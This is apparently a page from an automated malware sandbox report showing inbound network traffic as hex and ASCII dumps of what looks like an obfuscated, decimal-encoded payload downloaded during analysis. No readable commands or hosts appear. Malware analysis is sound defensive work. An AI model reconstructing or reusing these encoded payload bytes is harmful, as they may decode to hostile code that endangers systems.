20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 37 30 20 30 20 38 37 20 30 20 37 36 20 30 20 35 35 20
30 20 37 30 20 30 20 37 30 20 30 20 38 37 20 30 20 37 37 20 30 20 34 37 20 30 20 39 30 20 30 20 31 30 39 20 30 20 31
30 35 20 30 20 38 34 20 30 20 37 39 20 30 20 37 35 20 30 20 36 36 20 30 20 34 33 20 30 20 31 31 35 20 30 20 31 31 32
20 30 20 37 38 20 30 20 36 39 20 30 20 37 34 20 30 20 31 30 39 20 30 20 36 38 20 30 20 35 35 20 30 20 39 38 20 30 20
36 3520 30 20 31 31 37 20 30 20 31 30 32 20 30 20 37 33 20 30 20 36 35 20

Data Ascii: 650650650650650650650650650650650650650650650650650650650700870760
5507007008707704709001090105084079075066043011501120780690740 1090680550980
650117 0102073065

Data Raw: 30 20 38 34 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 38 35 20 30 20 38 37 20 30 20 31 30 34
20 3020 37 33 20 30 20 31 32 30 20 30 20 34 38 20 30 20 36 35 20 30 20 36 35 20 30 20 31 30 35 20 30 20 35 36 20 30
20 35 35 20 30 20 34 37 20 30 20 38 35 20 30 20 36 35 20 30 20 38 33 20 30 20 37 36 20 30 20 36 36 20 30 20 31 30 39
203020 31 31 31 20 30 20 36 35 20 30 20 31 30 36 20 30 20 38 39 20 30 20 34 37 20 30 20 36 39 20 30 20 38 34 20 30
20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 38 35 20 30 20 38 37 20 30 20 31 30 34 20 30 20 31 30 37 20 30 20 31
32 30 20 30 20 34 38 20 30 20 36 35 20 30 20 36 35 20 30 20 31 30 35 20 30 20 35 36 20 30 20 35 35 20 30 20 34 37 20
30 20 38 35 20 30 20 36 35 20 30 20 38 33 20 30 20 37 36 20 30 20 36 36 20

Data Ascii: 084 0650650650850870104073012004806506501050560550470850650830760660
109011106501060890470690840650650650850870104010701200480650650 105056055047
085065083076066

Data Raw: 30 20 31 30 37 20 30 20 31 31 31 20 30 20 36 35 20 30 20 36 35 20 30 20 37 31 20 30 20 38 39 20 30 20 35
332030 20 37 32 20 30 20 35 32 20 30 20 31 30 38 20 30 20 37 38 20 30 20 35 37 20 30 20 37 33 20 30 20 31 30 38 20
30 20 37 30 20 30 20 34 37 20 30 20 37 32 20 30 20 38 35 20 30 20 38 31 20 30 20 39 37 20 30 20 31 30 37 20 30 20 36
36 20 30 20 38 32 20 30 20 35 34 20 30 20 37 35 20 30 20 39 37 20 30 20 38 30 20 30 20 36 35 20 30 20 36 35 20 30 20
36 37 20 30 20 37 30 20 30 20 31 31 39 20 30 20 37 30 20 30 20 31 30 38 20 30 20 39 30 20 30 20 31 30 30 20 30 20 36
3520 30 20 37 33 20 30 20 31 32 32 20 30 20 34 37 20 30 20 35 32 20 30 20 37 32 20 30 20 37 31 20 30 20 36 35 20 30
20 36 35 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 37 39 20

Data Ascii: 0107 0111065065071089053072052010807805707301080700470720850810970107
06608205407509708006506506707001190700108090010006507301220470520720710650
6501030650650 79
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Data Raw: 20 30 20 37 34 20 30 20 36 35 20 30 20 36 35 20 30 20 36 38 20 30 20 36 37 20 30 20 36 39 20 30 20 36 35
20 30 20 36 38 20 30 20 34 37 20 30 20 31 30 30 20 30 20 36 37 20 30 20 38 31 20 30 20 36 39 20 30 20 31 31 31 20 30
20 31 32 31 20 30 20 38 34 20 30 20 34 33 20 30 20 38 31 20 30 20 36 35 20 30 20 36 36 20 30 20 31 31 31 20 30 20 31
3133203020 313035203020 313132203020 36 35 20 30 20 36 35 20 30 20 38 30 20 30 20 35 37 20 30 20 34 38
2030 20 37 34 20 30 20 36 36 20 30 20 36 36 20 30 20 38 31 20 30 20 35 34 20 30 20 37 30 20 30 20 38 39 20 30 20 31
323020 30 20 36 35 20 30 20 36 35 20 30 20 36 36 20 30 20 38 31 20 30 20 34 37 20 30 20 31 32 30 20 30 20 38 35 20
30 20 34 38 20 30 20 31 31 39 20 30 20 31 30 37 20 30 20 36 35 20 30 20 36

Data Ascii: 0740650650680670690650680470100067081069011101210840430810650660111
0113010501120650650800570480740660660810540700890120065065066 0810470120085
0480119010706506

Data Raw: 32 20 30 20 38 32 20 30 20 31 30 31 20 30 20 31 32 32 20 30 20 38 39 20 30 20 31 32 31 20 30 20 34 38 20
30 20 36 35 20 30 20 36 35 20 30 20 35 34 20 30 20 37 39 20 30 20 36 39 20 30 20 31 30 39 20 30 20 36 35 20 30 20 36
3520 30 20 36 37 20 30 20 37 34 20 30 20 38 32 20 30 20 31 30 32 20 30 20 36 37 20 30 20 37 38 20 30 20 38 32 20 30
2031 3031203020 31 30 34 20 30 20 38 31 20 30 20 31 30 36 20 30 20 39 30 20 30 20 35 31 20 30 20 31 31 31 20 30
20 35 37 20 30 20 34 37 20 30 20 34 37 20 30 20 34 37 20 30 20 31 32 30 20 30 20 34 38 20 30 20 38 38 20 30 20 34 38
203020 3533203020 37 37 20 30 20 31 31 36 20 30 20 36 35 20 30 20 36 35 20 30 20 37 39 20 30 20 31 30 34 20 30
203537 20 30 20 37 32 20 30 20 38 31 20 30 20 36 35 20 30 20 36 35 20 30

Data Ascii: 20820101 01220890121048065065054079069010906506506707408201020670780
820101010408101060900510111057047047047012004808804805307701160650650 790 104
0570720810650650

Data Raw: 30 20 35 30 20 30 20 36 39 20 30 20 38 30 20 30 20 34 37 20 30 20 38 38 20 30 20 37 37 20 30 20 34 33 20
30 20 35 30 20 30 20 37 34 20 30 20 38 32 20 30 20 36 37 20 30 20 38 31 20 30 20 38 31 20 30 20 38 32 20 30 20 38 36
20 30 20 38 37 20 30 20 37 38 20 30 20 31 31 30 20 30 20 38 39 20 30 20 36 35 20 30 20 36 37 20 30 20 36 35 20 30 20
36 3520 30 20 36 38 20 30 20 31 31 31 20 30 20 31 31 34 20 30 20 36 36 20 30 20 34 38 20 30 20 36 35 20 30 20 36 35
203020 37 3020 30 20 36 38 20 30 20 34 37 20 30 20 31 30 30 20 30 20 36 37 20 30 20 38 31 20 30 20 38 39 20 30 20
3534 20 30 20 38 30 20 30 20 31 31 31 20 30 20 37 36 20 30 20 36 35 20 30 20 36 35 20 30 20 36 37 20 30 20 36 38 20
3020 31 32 30 20 30 20 36 35 20 30 20 31 32 30 20 30 20 37 30 20 30 20 31

Data Ascii: 05006908004708807704305007408206708108108208608707801100890 65067065
06506801110114066048065065070068047010006708108905408001110760650650670680
120065012007001

Data Raw: 31 31 39 20 30 20 36 39 20 30 20 36 35 20 30 20 36 35 20 30 20 31 30 34 20 30 20 39 39 20 30 20 36 36 20
30 20 34 39 20 30 20 36 39 20 30 20 38 30 20 30 20 35 37 20 30 20 34 39 20 30 20 35 37 20 30 20 37 37 20 30 20 31 30
30 20 30 20 37 30 20 30 20 34 37 20 30 20 36 35 20 30 20 36 39 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20
36 38 20 30 20 34 37 20 30 20 37 30 20 30 20 38 32 20 30 20 38 34 20 30 20 36 35 20 30 20 38 31 20 30 20 36 35 20 30
2036 37 20 30 20 37 36 20 30 20 38 32 20 30 20 31 30 32 20 30 20 31 32 30 20 30 20 31 30 31 20 30 20 31 32 31 20 30
2039 39 20 30 20 37 38 20 30 20 38 36 20 30 20 31 30 35 20 30 20 34 33 20 30 20 31 32 30 20 30 20 38 32 20 30 20 38
3520 30 20 34 39 20 30 20 39 37 20 30 20 37 38 20 30 20 31 30 36 20 30 20

Data Ascii: 119069 065065 010409906604906908005704905707701000700470650690 650650
650680470700820840650810650670760820102012001010121099078086010504301200820
8504909707801060

Data Raw: 30 20 35 30 20 30 20 36 36 20 30 20 36 35 20 30 20 39 30 20 30 20 38 31 20 30 20 39 37 20 30 20 37 34 20
30 20 31 32 32 20 30 20 36 38 20 30 20 38 31 20 30 20 36 35 20 30 20 36 37 20 30 20 37 38 20 30 20 31 30 34 20 30 20
38 31 20 30 20 36 38 20 30 20 34 33 20 30 20 34 37 20 30 20 34 37 20 30 20 35 37 20 30 20 31 31 31 20 30 20 34 37 20
30 20 31 31 39 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 37 30 20 30 20 36 38 20 30 20 31 31 31 20 30 20
31 31 3920 3020 37 31 20 30 20 36 39 20 30 20 36 35 20 30 20 36 35 20 30 20 37 33 20 30 20 38 30 20 30 20 36 39 20
30 20 36 39 20 30 20 37 33 20 30 20 38 38 20 30 20 35 30 20 30 20 31 30 32 20 30 20 31 30 33 20 30 20 34 39 20 30 20
31 31 3120 30 20 34 38 20 30 20 37 37 20 30 20 31 30 34 20 30 20 36 35 20

Data Ascii: 050066 0650900810970740122068081065067078010408106804304704705701110
47011906506506507006801110119071069065065073080069069073088050010201030490
1110480770104 0 65

Data Raw: 30 35 20 30 20 31 32 30 20 30 20 35 36 20 30 20 35 35 20 30 20 38 38 20 30 20 36 37 20 30 20 38 31 20 30
20 38 31 20 30 20 31 30 30 20 30 20 36 36 20 30 20 36 36 20 30 20 36 35 20 30 20 31 30 33 20 30 20 35 36 20 30 20 39
39 20 30 20 37 33 20 30 20 37 39 20 30 20 35 36 20 30 20 39 30 20 30 20 35 36 20 30 20 35 36 20 30 20 36 38 20 30 20
38 30 20 30 20 36 35 20 30 20 38 38 20 30 20 34 39 20 30 20 35 33 20 30 20 39 38 20 30 20 31 31 39 20 30 20 31 30 33
20 30 20 38 31 20 30 20 36 35 20 30 20 31 31 39 20 30 20 31 30 31 20 30 20 36 35 20 30 20 36 38 20 30 20 31 30 33 20
30 20 31 32 31 20 30 20 38 31 20 30 20 36 37 20 30 20 36 35 20 30 20 37 33 20 30 20 31 31 35 20 30 20 37 34 20 30 20
31 30 33 20 30 20 35 30 20 30 20 38 31 20 30 20 37 33 20 30 20 36 36 20 30

Data Ascii: 050120056 055088067 0810810100066 066065021030560990 7307905608900 560560
680800650880490530980119010308106501190101065068010301210810670650730115074
01030500810730660

Data Raw: 38 20 30 20 31 30 32 20 30 20 34 37 20 30 20 31 30 30 20 30 20 38 31 20 30 20 31 32 32 20 30 20 34 37 20

30 20 31 30 30 20 30 20 38 31 20 30 20 31 30 34 20 30 20 38 37 20 30 20 34 37 20 30 20 31 32 30 20 30 20 38 35 20 30
20 34 38 20 30 20 31 31 39 20 30 20 38 35 20 30 20 36 35 20 30 20 36 35 20 30 20 38 38 20 30 20 34 39 20 30 20 35 35
20 30 20 37 34 20 30 20 31 31 39 20 30 20 34 39 20 30 20 38 37 20 30 20 37 36 20 30 20 35 35 20 30 20 37 33 20 30 20
38 30 20 30 20 31 31 35 20 30 20 38 31 20 30 20 37 31 20 30 20 39 37 20 30 20 36 38 20 30 20 39 30 20 30 20 39 39 20
30 20 36 35 20 30 20 36 35 20 30 20 39 37 20 30 20 31 30 36 20 30 20 35 34 20 30 20 37 38 20 30 20 38 32 20 30 20 39
39 20 30 20 37 34 20 30 20 31 31 33 20 30 20 36 35 20 30 20 37 30 20 30 20

Data Ascii: 80102047 01000810 122047 01000810104087047012008504801190850650 650880 49
0550740119049087076055073080011508107109706809009906506509701060540780820
9907401130650700

Data Raw: 20 37 33 20 30 20 37 38 20 30 20 35 37 20 30 20 36 38 20 30 20 36 35 20 30 20 38 35 20 30 20 38 30 20 30
20 31 30 34 20 30 20 39 39 20 30 20 38 31 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 37 20 30 20 37 36
20 30 20 36 38 20 30 20 38 33 20 30 20 31 32 32 20 30 20 34 33 20 30 20 38 31 20 30 20 36 35 20 30 20 36 35 20 30 20
3132322030 20 35 30 20 30 20 31 32 32 20 30 20 31 31 38 20 30 20 37 36 20 30 20 31 30 30 20 30 20 36 36 20 30 20
38 34 20 30 20 31 31 34 20 30 20 36 38 20 30 20 36 38 20 30 20 31 31 36 20 30 20 37 30 20 30 20 36 39 20 30 20 36 35
20 30 20 34 33 20 30 20 36 39 20 30 20 31 31 34 20 30 20 38 31 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20
37 33 20 30 20 38 30 20 30 20 36 36 20 30 20 36 36 20 30 20 37 33 20 30 20

Data Ascii: 7307805706806508508001040990810650650650670760680830122043081065065
01220500122011807601000660840114068068011607006906504306901140810650650650
730800660660730
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Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 30 20 31 31 39 20 30 20 36 35 20 30 20 38 36 20 30 20 31 31 31 20 30 20 31 31 38 20 30 20 31 32 30 20 30
20 31 30 33 20 30 20 35 35 20 30 20 35 35 20 30 20 31 30 37 20 30 20 36 35 20 30 20 31 30 33 20 30 20 36 35 20 30 20
36 35 20 30 20 36 35 20 30 20 37 33 20 30 20 31 30 38 20 30 20 37 31 20 30 20 38 30 20 30 20 37 32 20 30 20 38 31 20
30 20 38 30 20 30 20 38 35 20 30 20 37 33 20 30 20 31 31 38 20 30 20 37 31 20 30 20 35 34 20 30 20 37 36 20 30 20 38
3120 30 20 38 39 20 30 20 36 35 20 30 20 36 35 20 30 20 36 38 20 30 20 31 31 31 20 30 20 31 31 37 20 30 20 38 31 20
3020 37 33 20 30 20 36 35 20 30 20 36 35 20 30 20 37 30 20 30 20 35 35 20 30 20 36 38 20 30 20 31 30 35 20 30 20 35
3220 3020 39 37 20 30 20 31 30 33 20 30 20 36 35 20 30 20 31 30 33 20 30

Data Ascii: 0119065086 01110118012001030550550107065010306506506507301080710800 72
0810800850730118071054076081089065065068011101170810730650650700550680 1050
5209701030650 1030

Data Raw: 31 30 35 20 30 20 36 37 20 30 20 37 36 20 30 20 31 32 30 20 30 20 31 31 37 20 30 20 31 30 34 20 30 20 39
39 20 30 20 35 30 20 30 20 38 30 20 30 20 34 37 20 30 20 34 37 20 30 20 39 37 20 30 20 31 30 38 20 30 20 31 32 31 20
3020 37 36 20 30 20 31 32 30 20 30 20 31 31 37 20 30 20 31 30 34 20 30 20 38 34 20 30 20 35 30 20 30 20 38 30 20 30
20 34 37 20 30 20 34 37 20 30 20 39 37 20 30 20 31 30 35 20 30 20 34 33 20 30 20 37 36 20 30 20 31 32 30 20 30 20 31
31 37 20 30 20 31 30 34 20 30 20 37 35 20 30 20 35 30 20 30 20 38 30 20 30 20 34 37 20 30 20 34 37 20 30 20 39 37 20
3020 31 3035203020 31 30 35203020 37 36 20 30 20 31 32 30 20 30 20 31 31 37 20 30 20 31 30 34 20 30 20 36 36
20 30 20 35 30 20 30 20 38 30 20 30 20 34 37 20 30 20 34 37 20 30 20 39 37

Data Ascii: 105067 076 0120011701040990500800470470970108012107601200117 01040840500
800470470970105043076012001170104075050080047047097010501050760120011701040
660500800470470097

Data Raw: 37 20 30 20 38 38 20 30 20 38 35 20 30 20 37 31 20 30 20 39 37 20 30 20 37 34 20 30 20 31 31 38 20 30 20
38 3120 30 20 36 38 20 30 20 35 32 20 30 20 34 37 20 30 20 34 37 20 30 20 34 37 20 30 20 31 31 31 20 30 20 31 30 35
20 30 20 36 38 20 30 20 38 39 20 30 20 36 35 20 30 20 36 35 20 30 20 37 30 20 30 20 39 37 20 30 20 37 38 20 30 20 31
30 34 20 30 20 38 31 20 30 20 37 36 20 30 20 35 34 20 30 20 34 37 20 30 20 34 37 20 30 20 35 37 20 30 20 38 38 20 30
2038 3520302037 31 20 3020 39 37 20 30 20 37 34 20 30 20 31 31 38 20 30 20 38 31 20 30 20 36 38 20 30 20 35 34
203020 34 37 20 30 20 34 37 20 30 20 34 37 20 30 20 31 31 31 20 30 20 39 39 20 30 20 31 32 32 20 30 20 38 39 20 30
20 36 35 20 30 20 36 35 20 30 20 37 30 20 30 20 39 37 20 30 20 37 38 20 30

Data Ascii: 7088085071097074011808106805204704704701110105068089065065070097078
01040810760540470470570880850710970740118081068054047047047011109901220890
650650700970780

Data Raw: 36 35 20 30 20 37 36 20 30 20 31 32 32 20 30 20 31 32 32 20 30 20 31 31 38 20 30 20 38 32 20 30 20 31 30

30 20 30 20 38 33 20 30 20 37 39 20 30 20 37 30 20 30 20 31 32 30 20 30 20 35 31 20 30 20 38 35 20 30 20 31 30 32 20
30 20 31 30 35 20 30 20 34 38 20 30 20 38 39 20 30 20 34 38 20 30 20 31 30 35 20 30 20 38 35 20 30 20 38 38 20 30 20
3536 20 30 20 31 30 35 20 30 20 31 31 39 20 30 20 39 37 20 30 20 37 36 20 30 20 31 32 32 20 30 20 31 31 38 20 30 20
3537 20 30 20 38 31 20 30 20 39 37 20 30 20 37 31 20 30 20 31 31 31 20 30 20 36 35 20 30 20 31 30 35 20 30 20 35 37
203020 31 303620 30 20 31 31 31 20 30 20 31 30 34 20 30 20 37 39 20 30 20 37 32 20 30 20 34 37 20 30 20 34 37 20
30 20 34 39 20 30 20 36 37 20 30 20 37 36 20 30 20 38 32 20 30 20 31 30 32

Data Ascii: 65076 0122 0122011808201000830790700120051 08501020 1050480890480 1050850
880560105011909707601220118057081097071011106501050570106011101040790720470
470490670760820102

Data Raw: 20 30 20 36 39 20 30 20 36 36 20 30 20 31 30 31 20 30 20 31 31 39 20 30 20 35 30 20 30 20 31 31 32 20 30
20 38 31 20 30 20 34 37 20 30 20 31 32 32 20 30 20 39 30 20 30 20 31 31 31 20 30 20 31 32 31 20 30 20 38 30 20 30 20
38 36 20 30 20 36 35 20 30 20 36 35 20 30 20 37 39 20 30 20 31 30 34 20 30 20 35 33 20 30 20 37 34 20 30 20 36 35 20
30 20 36 35 20 30 20 36 35 20 30 20 39 37 20 30 20 37 37 20 30 20 31 31 39 20 30 20 36 37 20 30 20 36 35 20 30 20 36
35 20 30 20 36 38 20 30 20 34 37 20 30 20 31 30 30 20 30 20 31 30 33 20 30 20 38 32 20 30 20 31 31 31 20 30 20 34 33
20 30 20 38 30 20 30 20 37 34 20 30 20 36 35 20 30 20 36 35 20 30 20 37 39 20 30 20 31 30 34 20 30 20 31 31 30 20 30
20 37 34 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 31 30 33 20

Data Ascii: 06906601010119050011208104701220900111012108008606506507901040530740
6506506509707701190670650650680470100010308201110430800740650650790 10401100
740650650650 103

Data Raw: 35 20 30 20 35 32 20 30 20 35 30 20 30 20 38 35 20 30 20 36 35 20 30 20 36 35 20 30 20 38 35 20 30 20 37
37 2030 20 39 39 20 30 20 37 30 20 30 20 35 32 20 30 20 37 37 20 30 20 31 30 34 20 30 20 36 36 20 30 20 36 35 20 30
20 36 35 20 30 20 36 39 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 38 20 30 20 34 37 20 30 20 37 30 20
30 20 31 30 30 20 30 20 38 34 20 30 20 36 35 20 30 20 38 31 20 30 20 36 35 20 30 20 36 37 20 30 20 31 30 36 20 30 20
35 33 20 30 20 37 37 20 30 20 31 30 34 20 30 20 36 36 20 30 20 36 35 20 30 20 37 35 20 30 20 37 32 20 30 20 31 30 37
20 30 20 31 32 31 20 30 20 36 39 20 30 20 36 39 20 30 20 36 35 20 30 20 37 39 20 30 20 35 36 20 30 20 37 38 20 30 20
34 38 20 30 20 36 39 20 30 20 38 39 20 30 20 34 39 20 30 20 37 38 20 30 20

Data Ascii: 505205008506506508507709907005207701040660650650690650650650680470
70010008406508106506701060530770104066065075072010701210690690650790560780
480690890490780

Data Raw: 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 37 33 20 30 20 35 30 20 30 20 37 30 20 30 20
36 3520 30 20 31 31 38 20 30 20 31 31 34 20 30 20 34 37 20 30 20 34 37 20 30 20 34 39 20 30 20 36 36 20 30 20 31 30
39 20 30 20 31 30 35 20 30 20 39 38 20 30 20 34 38 20 30 20 36 35 20 30 20 34 33 20 30 20 31 31 38 20 30 20 34 37 20
30 20 34 37 20 30 20 35 34 20 30 20 37 37 20 30 20 36 39 20 30 20 38 32 20 30 20 36 35 20 30 20 36 35 20 30 20 36 36
20 30 20 38 37 20 30 20 31 30 36 20 30 20 38 39 20 30 20 38 35 20 30 20 36 37 20 30 20 34 37 20 30 20 38 30 20 30 20
34 37 20 30 20 34 37 20 30 20 38 36 20 30 20 34 39 20 30 20 36 36 20 30 20 31 30 39 20 30 20 31 30 35 20 30 20 39 38
20 30 20 34 38 20 30 20 36 35 20 30 20 34 37 20 30 20 38 30 20 30 20 34 37

Data Ascii: 65065065065073050070065011801140470470490660109010509804806504301180
470470540770690820650650660870106089085067047080047047 086049 06601090 105098
048065047080047

Data Raw: 36 20 30 20 31 31 33 20 30 20 38 38 20 30 20 37 30 20 30 20 31 30 32 20 30 20 31 31 31 20 30 20 31 30 39

20 3020 36 35 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36 35 20 30 20 37 33 20 30 20 38 38 20 30 20 36 35 20 30 20
38 37 20 30 20 38 36 20 30 20 31 30 38 20 30 20 34 38 20 30 20 37 32 20 30 20 35 32 20 30 20 31 31 38 20 30 20 37 32
20 30 20 35 34 20 30 20 31 32 30 20 30 20 35 30 20 30 20 36 38 20 30 20 31 31 39 20 30 20 38 32 20 30 20 36 38 20 30
20 31 31 31 20 30 20 31 31 39 20 30 20 37 35 20 30 20 37 32 20 30 20 34 37 20 30 20 34 37 20 30 20 34 33 20 30 20 31
31 35 20 30 20 38 34 20 30 20 39 37 20 30 20 31 30 33 20 30 20 31 31 32 20 30 20 38 37 20 30 20 34 37 20 30 20 35 35
20 30 20 36 39 20 30 20 39 39 20 30 20 36 36 20 30 20 36 35 20 30 20 36 35

Data Ascii: 60113088 070010201110109065010306506507308806508708601080480720520118
07205401200500680119082068011101190750720470470430115084097010301120870470
55069099 066 0 650 65

Page 54 of 118



kBytes
Timestamp transferred

2021-09-27 18:27:27 UTC 1275

2021-09-27 18:27:27 UTC 1291

2021-09-27 18:27:27 UTC 1307

2021-09-27 18:27:27 UTC 1323

2021-09-27 18:27:27 UTC 1339

2021-09-27 18:27:27 UTC 1355

2021-09-27 18:27:27 UTC 1371
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Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 38 30 20 30 20 35 36 20 30 20 31 30 38 20 30 20 31 31 30 20 30 20 37 37 20 30 20 37 34 20 30 20 36 35 20
30 20 36 35 20 30 20 38 30 20 30 20 35 36 20 30 20 31 30 38 20 30 20 31 30 39 20 30 20 37 37 20 30 20 37 34 20 30 20
36 35 20 30 20 36 35 20 30 20 38 30 20 30 20 35 36 20 30 20 31 30 38 20 30 20 31 30 38 20 30 20 37 37 20 30 20 37 34
20 30 20 36 35 20 30 20 36 35 20 30 20 38 30 20 30 20 35 36 20 30 20 31 30 38 20 30 20 31 30 37 20 30 20 37 37 20 30
20 37 34 20 30 20 36 35 20 30 20 36 35 20 30 20 38 30 20 30 20 35 36 20 30 20 31 30 38 20 30 20 31 30 36 20 30 20 37
3720 3020 37 34 20 30 20 36 35 20 30 20 36 35 20 30 20 38 30 20 30 20 35 36 20 30 20 31 30 38 20 30 20 31 31 34 20
3020 37 37 20 30 20 37 34 20 30 20 36 35 20 30 20 36 35 20 30 20 38 30 20

Data Ascii: 80 056 0 108 0110077 074065065080 056 0108 0109077 0740650650800 56010801080 77
074065065080056010801070770740650650800560108010607707406506508005601080 114
0770740650650 80

Data Raw: 31 30 38 20 30 20 36 35 20 30 20 37 31 20 30 20 38 31 20 30 20 36 35 20 30 20 38 35 20 30 20 31 30 33 20
30 20 36 36 20 30 20 34 39 20 30 20 36 35 20 30 20 37 31 20 30 20 35 32 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35
20 30 20 36 36 20 30 20 38 38 20 30 20 36 35 20 30 20 36 39 20 30 20 31 30 37 20 30 20 36 35 20 30 20 38 34 20 30 20
31 30 33 20 30 20 36 35 20 30 20 35 32 20 30 20 36 35 20 30 20 37 30 20 30 20 37 33 20 30 20 36 35 20 30 20 38 36 20
30 20 36 35 20 30 20 36 36 20 30 20 37 38 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 38 36
203020 31 31 39 20 30 20 36 36 20 30 20 37 34 20 30 20 36 35 20 30 20 36 39 20 30 20 35 32 20 30 20 36 3520 30 20
37 38 20 30 20 31 31 39 20 30 20 36 36 20 30 20 38 33 20 30 20 36 35 20 30

Data Ascii: 108065071081 06508501030660490650710520650650650660880650690 21070650
84010306505206507007306508606506607806506506506508601190660740650690520650
780119066 0830650

Data Raw: 20 36 35 20 30 20 36 36 20 30 20 31 31 35 20 30 20 36 35 20 30 20 37 31 20 30 20 31 31 39 20 30 20 36 35

20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 37 30 20 30 20 31 31 39 20 30 20
36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 36 36 20 30 20 37 30 20 30 20 36 35 20 30 20 37 32 20 30 20 37 33 20 30
20 36 35 20 30 20 39 39 20 30 20 31 30 33 20 30 20 36 36 20 30 20 31 31 38 20 30 20 36 35 20 30 20 37 32 20 30 20 37
3320 30 20 36 35 20 30 20 37 33 20 30 20 36 35 20 30 20 36 35 20 30 20 31 30 38 20 30 20 36 35 20 30 20 37 31 20 30
2038 31 20 30 20 36 35 20 30 20 37 39 20 30 20 31 30 33 20 30 20 36 35 20 30 20 31 30 33 20 30 20 36 35 20 30 20 36
3720 30 20 38 35 20 30 20 36 35 20 30 20 39 39 20 30 20 31 31 39 20 30 20

Data Ascii: 650660115065071011906506506506506506507001190650650650660700650720
73065099010306601180650720730650730650650108065071081065079010306501030650
6708506509901190

Data Raw: 20 38 31 20 30 20 36 36 20 30 20 31 31 30 20 30 20 36 35 20 30 20 37 31 20 30 20 31 30 37 20 30 20 36 35
20 3020 39 39 20 30 20 31 31 39 20 30 20 36 36 20 30 20 34 38 20 30 20 36 35 20 30 20 37 31 20 30 20 38 35 20 30 20
36 35 20 30 20 39 39 20 30 20 31 30 33 20 30 20 36 36 20 30 20 31 32 32 20 30 20 36 35 20 30 20 36 38 20 30 20 31 31
3120 30 20 36 35 20 30 20 37 33 20 30 20 36 35 20 30 20 36 35 20 30 20 37 38 20 30 20 36 35 20 30 20 36 35 20 30 20
313131203020 36 35 20 30 20 38 32 20 30 20 38 31 20 30 20 36 36 20 30 20 36 36 20 30 20 36 35 20 30 20 37 30 20
3020 31 30 33 20 30 20 36 35 20 30 20 38 30 20 30 20 38 31 20 30 20 36 35 20 30 20 31 30 38 20 30 20 36 35 20 30 20
36 38 20 30 20 31 30 33 20 30 20 36 35 20 30 20 37 36 20 30 20 31 30 33 20

Data Ascii: 81 0660110065071010706509901190660480650710850650990 1030660 1220650 68
01110650730650650780650650111065082081066066065070010306508008106501080650
680103065076 0103

Data Raw: 20 31 31 34 20 30 20 31 31 31 20 30 20 36 35 20 30 20 36 35 20 30 20 36 38 20 30 20 37 33 20 30 20 35 34
20 3020 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 37 32 20 30 20 31 31 37 20 30 20 38 35 20 30 20 36 35 20 30 20
36 35 20 30 20 36 38 20 30 20 36 38 20 30 20 31 30 38 20 30 20 36 35 20 30 20 36 35 20 30 20 36 35 20 30 20 34 33 20
30 20 35 33 20 30 20 38 31 20 30 20 36 35 20 30 20 36 35 20 30 20 38 37 20 30 20 37 39 20 30 20 38 35 20 30 20 36 35
20 30 20 36 35 20 30 20 37 31 20 30 20 35 35 20 30 20 31 30 38 20 30 20 36 35 20 30 20 36 35 20 30 20 36 37 20 30 20
37 33 20 30 20 35 33 20 30 20 38 31 20 30 20 36 35 20 30 20 36 35 20 30 20 31 31 32 20 30 20 37 39 20 30 20 38 35 20
30 20 36 35 20 30 20 36 35 20 30 20 37 36 20 30 20 38 34 20 30 20 31 30 38

Data Ascii: 114011106506506807305406506506507201170850650650680680 1080 650 650650
43053081065065087079085065065071055010806506506707305308106506501120790850
650650760840 108

Data Raw: 30 20 39 39 20 30 20 36 35 20 30 20 36 35 20 30 20 37 32 20 30 20 37 33 20 30 20 36 35 20 30 20 38 31 20
30 20 35 31 20 30 20 37 34 20 30 20 31 30 38 20 30 20 38 39 20 30 20 38 38 20 30 20 38 32 20 30 20 31 30 38 20 30 20
38 36 20 30 20 37 31 20 30 20 35 37 20 30 20 31 31 38 20 30 20 39 38 20 30 20 37 31 20 30 20 31 30 34 20 30 20 31 30
38 20 30 20 39 38 20 30 20 37 32 20 30 20 36 35 20 30 20 31 32 32 20 30 20 37 37 20 30 20 31 30 38 20 30 20 37 38 20
30 20 31 31 37 20 30 20 38 39 20 30 20 38 38 20 30 20 36 36 20 30 20 31 32 32 20 30 20 39 37 20 30 20 37 31 20 30 20
35 37 20 30 20 34 38 20 30 20 36 35 20 30 20 36 35 20 30 20 36 36 20 30 20 31 31 33 20 30 20 36 35 20 30 20 36 39 20
30 20 37 38 20 30 20 31 32 31 20 30 20 39 30 20 30 20 38 37 20 30 20 37 30

Data Ascii: 0990650650720730650810510740108089088082010808607105701180980 710 104
010809807206501220770108078011708908806601220970710570480650650660 113065069
0780121090087 070

Data Raw: 30 20 36 35 20 30 20 35 36 20 30 20 38 30 20 30 20 36 38 20 30 20 34 37 20 30 20 36 35 20 30 20 38 30 20
30 20 34 37 20 30 20 34 37 20 30 20 35 36 20 30 20 36 35 20 30 20 36 38 20 30 20 34 37 20 30 20 35 36 20 30 20 38 30
20 30 20 36 35 20 30 20 36 35 20 30 20 35 36 20 30 20 38 30 20 30 20 36 38 20 30 20 34 37 20 30 20 36 35 20 30 20 38
30 20 30 20 37 32 20 30 20 38 38 20 30 20 31 32 30 20 30 20 37 37 20 30 20 31 32 32 20 30 20 36 37 20 30 20 31 32 32
20 30 20 37 37 20 30 20 31 31 38 20 30 20 37 38 20 30 20 34 33 20 30 20 31 31 36 20 30 20 35 35 20 30 20 36 39 20 30
